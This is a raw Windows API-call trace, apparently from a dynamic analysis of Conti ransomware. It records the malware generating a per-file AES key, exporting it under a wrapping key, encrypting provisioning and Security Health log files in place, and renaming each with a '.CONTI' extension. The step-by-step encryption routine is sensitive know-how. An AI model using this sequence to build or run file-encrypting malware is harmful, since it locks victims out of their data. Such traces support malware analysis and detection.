	[0113.802] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\662__connections_cellular_hp datapass (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\662__Connections_Cellular_HP DataPass (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\662__connections_cellular_hp datapass (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.803] GetProcessHeap () returned 0x1720000
	[0113.803] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.803] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0113.803] GetProcessHeap () returned 0x1720000
	[0113.803] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b9218 | out: hHeap=0x1720000) returned 1
	[0113.803] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0113.803] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b48518 | out: phKey=0x6b48518*=0x17c8370) returned 1
	[0113.803] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4851c, pdwDataLen=0x3f7fc54 | out: pbData=0x6b4851c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0113.804] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\664__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0113.804] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\664__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0113.804] GetLastError () returned 0x0
	[0113.804] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=454) returned 1
	[0113.805] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c6
	[0113.805] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.805] SetEndOfFile (hFile=0x3e8) returned 1
	[0113.805] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.805] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.805] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b4851c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b4851c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.807] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.807] ReadFile (in: hFile=0x3e8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x1c6, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x1c6, lpOverlapped=0x0) returned 1
	[0113.807] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x1c6, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x1d0) returned 1
	[0113.807] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.807] WriteFile (in: hFile=0x3e8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x1d0, lpOverlapped=0x0) returned 1
	[0113.807] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.807] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b48510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b48510*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0113.807] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.807] CloseHandle (hObject=0x3e8) returned 1
	[0113.807] GetProcessHeap () returned 0x1720000
	[0113.808] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.808] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0113.808] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0113.808] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\664__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\664__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\664__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0113.813] GetProcessHeap () returned 0x1720000
	[0113.813] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.813] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0113.813] GetProcessHeap () returned 0x1720000
	[0113.813] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1818d90 | out: hHeap=0x1720000) returned 1
	[0113.813] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0113.813] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b450a0 | out: phKey=0x6b450a0*=0x17c8370) returned 1
	[0113.813] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b450a4, pdwDataLen=0x3f7fc54 | out: pbData=0x6b450a4*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0113.814] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\665__connections_cellular_hp datapass (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.814] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\665__connections_cellular_hp datapass (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0113.814] GetLastError () returned 0x0
	[0113.814] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=874) returned 1
	[0113.814] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x36a
	[0113.814] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.814] SetEndOfFile (hFile=0x3e8) returned 1
	[0113.814] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.814] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.814] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b450a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b450a4*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.032] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.032] ReadFile (in: hFile=0x3e8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x36a, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x36a, lpOverlapped=0x0) returned 1
	[0115.032] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x36a, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x370) returned 1
	[0115.032] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.033] WriteFile (in: hFile=0x3e8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x370, lpOverlapped=0x0) returned 1
	[0115.033] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.033] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b45098*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b45098*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0115.033] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.033] CloseHandle (hObject=0x3e8) returned 1
	[0115.531] GetProcessHeap () returned 0x1720000
	[0115.531] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0115.532] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0115.532] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI"
	[0115.532] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\665__connections_cellular_hp datapass (united kingdom)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\665__Connections_Cellular_HP DataPass (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\665__connections_cellular_hp datapass (united kingdom)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0117.135] GetProcessHeap () returned 0x1720000
	[0117.135] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0117.141] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0117.141] GetProcessHeap () returned 0x1720000
	[0117.141] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c7150 | out: hHeap=0x1720000) returned 1
	[0117.141] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0117.144] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x65d1528 | out: phKey=0x65d1528*=0x6b7f0f8) returned 1
	[0117.144] CryptExportKey (in: hKey=0x6b7f0f8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d152c, pdwDataLen=0x3f7fc54 | out: pbData=0x65d152c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0117.160] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.161] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0117.161] GetLastError () returned 0x0
	[0117.161] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=4096) returned 1
	[0117.161] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.161] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.161] SetEndOfFile (hFile=0x3a8) returned 1
	[0117.161] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.161] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.161] WriteFile (in: hFile=0x3a8, lpBuffer=0x65d152c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x65d152c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0117.163] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.163] ReadFile (in: hFile=0x3a8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x1000, lpOverlapped=0x0) returned 1
	[0117.163] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x1000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x1010) returned 1
	[0117.163] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.163] WriteFile (in: hFile=0x3a8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x1010, lpOverlapped=0x0) returned 1
	[0117.163] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.163] WriteFile (in: hFile=0x3a8, lpBuffer=0x65d1520*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x65d1520*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0117.163] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.164] CloseHandle (hObject=0x3a8) returned 1
	[0117.164] GetProcessHeap () returned 0x1720000
	[0117.164] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.164] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.164] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.164] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.164] GetProcessHeap () returned 0x1720000
	[0117.164] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.164] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0117.164] GetProcessHeap () returned 0x1720000
	[0117.165] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ce350 | out: hHeap=0x1720000) returned 1
	[0117.165] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0117.165] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x65d0e50 | out: phKey=0x65d0e50*=0x6b7f3b8) returned 1
	[0117.165] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d0e54, pdwDataLen=0x3f7fc54 | out: pbData=0x65d0e54*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0117.165] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.166] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0117.166] GetLastError () returned 0x0
	[0117.166] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=8192) returned 1
	[0117.166] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0117.166] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.166] SetEndOfFile (hFile=0x3a8) returned 1
	[0117.166] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.166] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.166] WriteFile (in: hFile=0x3a8, lpBuffer=0x65d0e54*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x65d0e54*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0117.168] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.168] ReadFile (in: hFile=0x3a8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2000, lpOverlapped=0x0) returned 1
	[0117.169] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2010) returned 1
	[0117.169] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.169] WriteFile (in: hFile=0x3a8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2010, lpOverlapped=0x0) returned 1
	[0117.169] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
